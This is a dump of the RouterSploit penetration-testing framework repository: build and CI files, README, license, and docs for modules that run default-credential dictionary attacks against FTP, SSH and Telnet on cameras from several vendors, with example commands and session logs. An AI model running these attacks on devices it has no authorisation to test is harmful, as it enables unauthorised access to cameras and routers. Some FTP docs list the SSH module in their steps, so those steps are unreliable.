 2. `use exploits/routers/dlink/dsl_2750b_rce`
 3. `set target 192.168.1.1`
 4. `run`
 5. ...

## Checklist
- [ ] Write module/feature 
- [ ] Write tests ([Example](https://github.com/threat9/routersploit/blob/master/tests/exploits/routers/dlink/test_dsl_2750b_rce.py))
- [ ] Document how it works ([Example](https://github.com/threat9/routersploit/blob/master/docs/modules/exploits/routers/dlink/dsl_2750b_rce.md))


================================================
FILE: .gitignore
================================================
# IntelliJ project files
.idea
out
gen

# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class

# C extensions
*.so

# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg

# PyInstaller
#  Usually these files are written by a python script from a template
#  before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec

# Installer logs
pip-log.txt
pip-delete-this-directory.txt

# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
.pytest_cache
nosetests.xml
coverage.xml
*,cover

# Translations
*.mo
*.pot

# Django stuff:
*.log

# Sphinx documentation
docs/_build/

# PyBuilder
target/

# VS Code
.vscode

# virtualenv
venv/

# macOS
.DS_Store
.DS_Store?

# vim
*.swp
*.swo

# Pipenv files
Pipfile
Pipfile.lock



================================================
FILE: .travis/install.sh
================================================
#!/bin/bash

set -e
set -x

if [[ "$(uname -s)" == 'Darwin' ]]; then
    sw_vers

    git clone --depth 1 https://github.com/yyuu/pyenv.git ~/.pyenv
    PYENV_ROOT="$HOME/.pyenv"
    PATH="$PYENV_ROOT/bin:$PATH"
    eval "$(pyenv init -)"

    pyenv install $PYTHON_VERSION
    pyenv global $PYTHON_VERSION
    pyenv rehash

    pip install --user virtualenv
    python -m virtualenv ~/.venv
    source ~/.venv/bin/activate
fi

python -m pip install --upgrade pip
python -m pip install -r requirements-dev.txt


================================================
FILE: .travis/run.sh
================================================
#!/bin/bash

set -e
set -x

if [[ "$(uname -s)" == "Darwin" ]]; then
    PYENV_ROOT="$HOME/.pyenv"
    PATH="$PYENV_ROOT/bin:$PATH"
    eval "$(pyenv init -)"
    source ~/.venv/bin/activate
fi

make lint tests


================================================
FILE: .travis.yml
================================================
language: python

matrix:
  include:
    - os: linux
      python: 3.6

    - os: osx
      language: generic
      env: PYTHON_VERSION=3.6.1

install:
  - "./.travis/install.sh"


script:
  - "./.travis/run.sh"


================================================
FILE: CONTRIBUTING.md
================================================
# Contribution Guidelines

There are many ways to contribute to RouterSploit project, and the routersploit team is grateful for all contributions. This overview summarizes the most important steps to get you started as a contributor.

* Report bugs to the routersploit issue tracker.
* Make suggestions for changes, updates, or new features to the routersploit issue tracker.
* Contribute bug fixes, example code, documentation, or tutorials to routersploit.
* Contribute new features to routersploit.

## Bug reports

When submitting bug reports, please consider providing the following information:

* Reproduction steps: step by step description to reproduce the problem.
* Expected: Describe the behavior you expect.
* Actual: Describe the behavior you see.

## Testing
It is hard to test modules in all possible scenarios. If you would like to help:

1. Check what device you have - identify vendor and version.
2. Check if routersploit contains exploits for the device you posses.
3. If exploit does not work but it should, check "show info" for more information. References should provide you with links to proof of concept exploits.

Example:
```
References:
-  https://www.exploit-db.com/exploits/24975/
```

4. Try to use proof of concept exploit and check if it works properly. If it does, feel free to create new issue bug with explanation that the routersploit's module does not work properly.

## Development
* [Creating exploit module](https://github.com/reverse-shell/routersploit/wiki/Creating-Exploit)
* [Creating creds module](https://github.com/reverse-shell/routersploit/wiki/Creating-Creds)
* [Creating scanner module](https://github.com/reverse-shell/routersploit/wiki/Creating-Scanner)


================================================
FILE: Dockerfile
================================================
FROM python:3.9-bookworm

WORKDIR /routersploit

RUN useradd rts -U -m && \
    chown -R rts:rts /routersploit

USER rts
COPY requirements.txt .
RUN pip install --user --no-cache-dir -r requirements.txt

COPY routersploit routersploit
COPY rsf.py rsf.py

# Not actually needed since present in docker-compose already
CMD ["python", "rsf.py"]


================================================
FILE: LICENSE
================================================
Copyright 2018, The RouterSploit Framework (RSF) by Threat9 
All rights reserved. 

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
    * Neither the name of RouterSploit Framework nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and is applied to RouterSploit Framework as well.

Note that the RouterSploit Framework is provided as is, and is a royalty free open-source application.

Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit.


================================================
FILE: MANIFEST.in
================================================
recursive-include routersploit/resources/ssh_keys *.json *.key
recursive-include routersploit/resources/vendors *.dat
recursive-include routersploit/resources/wordlists *.txt


================================================
FILE: Makefile
================================================
.PHONY: build run test lint lint-modules clean prune help

DIRECTORY=.
EXCLUDED=.git,rsf.py
RSF_IMAGE=routersploit
FLAKE8_IGNORED_RULES=E501,F405,F403,W504

build:
	docker build -t $(RSF_IMAGE) .

run:
	docker run -it --rm $(RSF_IMAGE)

lint:
	python3 -m flake8 --exclude=$(EXCLUDED) --ignore=$(FLAKE8_IGNORED_RULES) $(DIRECTORY)

tests: clean
	python3 -m pytest -n16 tests/core/ tests/test_exploit_scenarios.py tests/test_module_info.py
	python3 -m pytest -n16 tests/exploits/ tests/creds/ tests/encoders/ tests/generic/ tests/payloads/

clean:
	find . -name '*.pyc' -delete
	find . -name '*.pyo' -delete
	find . -name '*~' -delete

prune:
	docker images -q -f dangling=true | xargs docker rmi
	docker ps -q -f status=exited | xargs docker rm

help:
	@echo "    run"
	@echo "        Run Routersploit in docker container"
	@echo "    lint"
	@echo "        Check style with flake8."
	@echo "    test"
	@echo "        Run test suite"
	@echo "    clean"
	@echo "        Remove python artifacts."
	@echo "    prune"
	@echo "        Remove dangling docker images and exited containers."


================================================
FILE: README.md
================================================
# RouterSploit - Exploitation Framework for Embedded Devices

[![Python 3.6](https://img.shields.io/badge/Python-3.6-yellow.svg)](http://www.python.org/download/)
[![Build Status](https://travis-ci.org/threat9/routersploit.svg?branch=master)](https://travis-ci.org/threat9/routersploit)

# Community
Join community on [Embedded Exploitation Discord](https://discord.gg/UCXARN2vBx).

# Description
The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices.

[![asciicast](https://asciinema.org/a/180370.png)](https://asciinema.org/a/180370)

It consists of various modules that aid penetration testing operations:

* exploits - modules that take advantage of identified vulnerabilities
* creds - modules designed to test credentials against network services
* scanners - modules that check if a target is vulnerable to any exploit
* payloads - modules that are responsible for generating payloads for various architectures and injection points
* generic - modules that perform generic attacks 

# Installation

## Requirements

Required:
* requests
* paramiko
* pysnmp
* pycrypto

Optional:
* bluepy - Bluetooth low energy 

## Installation on Kali Linux

```
apt-get install python3-pip
git clone https://www.github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py
```

Bluetooth Low Energy support:
```
apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py
```

## Installation on Ubuntu 20.04

```
sudo apt-get install git python3-pip
git clone https://github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py
```

Bluetooth Low Energy support:

```
sudo apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py
```

## Installation on Ubuntu 18.04 & 17.10

```
sudo add-apt-repository universe
sudo apt-get install git python3-pip
git clone https://www.github.com/threat9/routersploit
cd routersploit
python3 -m pip install setuptools
python3 -m pip install -r requirements.txt
python3 rsf.py
```

Bluetooth Low Energy support:
```
apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py
```


## Installation on OSX

```
git clone https://www.github.com/threat9/routersploit
cd routersploit
sudo python3 -m pip install -r requirements.txt
python3 rsf.py
```

## Running on Docker

```
git clone https://www.github.com/threat9/routersploit
cd routersploit
docker compose up --build -d
docker attach routersploit
```
### To run again without rebuild

```
docker start routersploit
docker attach routersploit
```

# Update

Update RouterSploit Framework often. The project is under heavy development and new modules are shipped almost every day.

```
cd routersploit
git pull
```

# Build your own
To our surprise, people started to fork 
[routersploit](https://github.com/threat9/routersploit) not because they were 
interested in the security of embedded devices but simply because they want to 
leverage our interactive shell logic and build their tools using similar 
concept. All these years they must have said: _"There must be a better way!"_ 
and they were completely right, the better way is called 
[_Riposte_](https://github.com/fwkz/riposte).

[_Riposte_](https://github.com/fwkz/riposte) allows you to easily wrap your 
application inside a tailored interactive shell. Common chores regarding 
building REPLs was factored out and being taken care of so you can 
focus on specific domain logic of your application.
# License

The RouterSploit Framework is under a BSD license.
Please see [LICENSE](LICENSE) for more details.

# Acknowledgments
* [riposte](https://github.com/fwkz/riposte)


================================================
FILE: docker-compose.yaml
================================================
services:
  routersploit:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: routersploit
    environment:
      - PYTHONUNBUFFERED=1 
    stdin_open: true  
    tty: true        
    command: ["python","rsf.py"]

================================================
FILE: docs/modules/creds/cameras/acti/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Acti Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/acti/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/acti/ftp_default_creds
rsf (Acti Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Acti Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/acti/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Acti Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/acti/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/acti/ssh_default_creds
rsf (Acti Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Acti Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/acti/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Acti Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/acti/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/acti/telnet_default_creds
rsf (Acti Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Acti Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/american_dynamics/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against American Dynamics Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/american_dynamics/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/american_dynamics/ftp_default_creds
rsf (American Dynamics Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (American Dynamics Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/american_dynamics/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against American Dynamics Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/american_dynamics/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/american_dynamics/ssh_default_creds
rsf (American Dynamics Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (American Dynamics Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/american_dynamics/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against American Dynamics Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/american_dynamics/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/american_dynamics/telnet_default_creds
rsf (American Dynamics Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (American Dynamics Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/arecont/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Arecont Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/arecont/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/arecont/ftp_default_creds
rsf (Arecont Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Arecont Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/arecont/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Arecont Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/arecont/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/arecont/ssh_default_creds
rsf (Arecont Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Arecont Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/arecont/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Arecont Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/arecont/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/arecont/telnet_default_creds
rsf (Arecont Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Arecont Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/avigilon/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Avigilon Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/avigilon/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/avigilon/ftp_default_creds
rsf (Avigilon Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avigilon Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/avigilon/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Avigilon Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/avigilon/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/avigilon/ssh_default_creds
rsf (Avigilon Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avigilon Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/avigilon/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Avigilon Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/avigilon/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/avigilon/telnet_default_creds
rsf (Avigilon Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avigilon Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/avtech/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Avtech Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/avtech/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/avtech/ftp_default_creds
rsf (Avtech Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avtech Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/avtech/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Avtech Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/avtech/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/avtech/ssh_default_creds
rsf (Avtech Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avtech Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/avtech/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Avtech Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/avtech/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/avtech/telnet_default_creds
rsf (Avtech Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avtech Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/axis/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Axis Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/axis/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/axis/ftp_default_creds
rsf (Axis Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Axis Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/axis/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Axis Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/axis/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/axis/ssh_default_creds
rsf (Axis Camera Default SSH Creds) > set target 192.168.1.1
